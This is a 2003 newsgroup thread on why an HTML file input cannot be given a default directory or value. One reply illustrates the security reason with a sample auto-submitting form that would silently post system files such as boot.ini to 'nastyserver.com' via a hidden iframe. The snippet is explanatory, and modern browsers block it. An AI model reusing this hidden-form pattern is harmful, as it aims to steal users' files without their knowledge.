is it possible to define a default or start up directory with input
type="file" field type?

If so, is it also possible to filter by another option box selection?

If so, how so?

Thank you

Paul Moffitt

Re: input type=file by Ray

Ray
Thu Aug 28 09:42:16 CDT 2003

No, it is not. For security reasons, you cannot pre-specify any sort of
value for a file input. (Unless you run across someone using IE 1 or
something maybe...)

Ray at work

"Paul Moffitt" <NOSPAMpaulmoffitt@iniinc.com> wrote in message
news:eNNNfGXbDHA.1808@TK2MSFTNGP11.phx.gbl...
> is it possible to define a default or start up directory with input
> type="file" field type?
>
> If so, is it also possible to filter by another option box selection?
>
> If so, how so?
>
> Thank you
>
> Paul Moffitt
>
>



Re: input type=file by Aaron

Aaron
Thu Aug 28 09:50:59 CDT 2003

> is it possible to define a default or start up directory with input
> type="file" field type?

No. What would prevent you from doing this?

<form method=post action=http://nastyserver.com/ target=hiddenframe>
<input type=file value='c:\boot.ini'>
<input type=file value='c:\windows\system32\user.dat'>
...
etc etc
...
</form>
<iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
</iframe>
<script>
document.forms[0].submit();
</script>

I rather like this security mechanism. If your users can't figure out how
to use a browse... dialog, it might be time to upgrade to better users.



Re: input type=file by John

John
Thu Aug 28 13:36:11 CDT 2003

>> it might be time to upgrade to better users.


Where do I request this upgrade? I didn't even know I had
that option. Do I send the old ones (users) back to you?

:)

John


Re: input type=file by Aaron

Aaron
Thu Aug 28 13:40:02 CDT 2003

> Do I send the old ones (users) back to you?

Gosh no. I think I'm about 5 versions ahead of you. :-)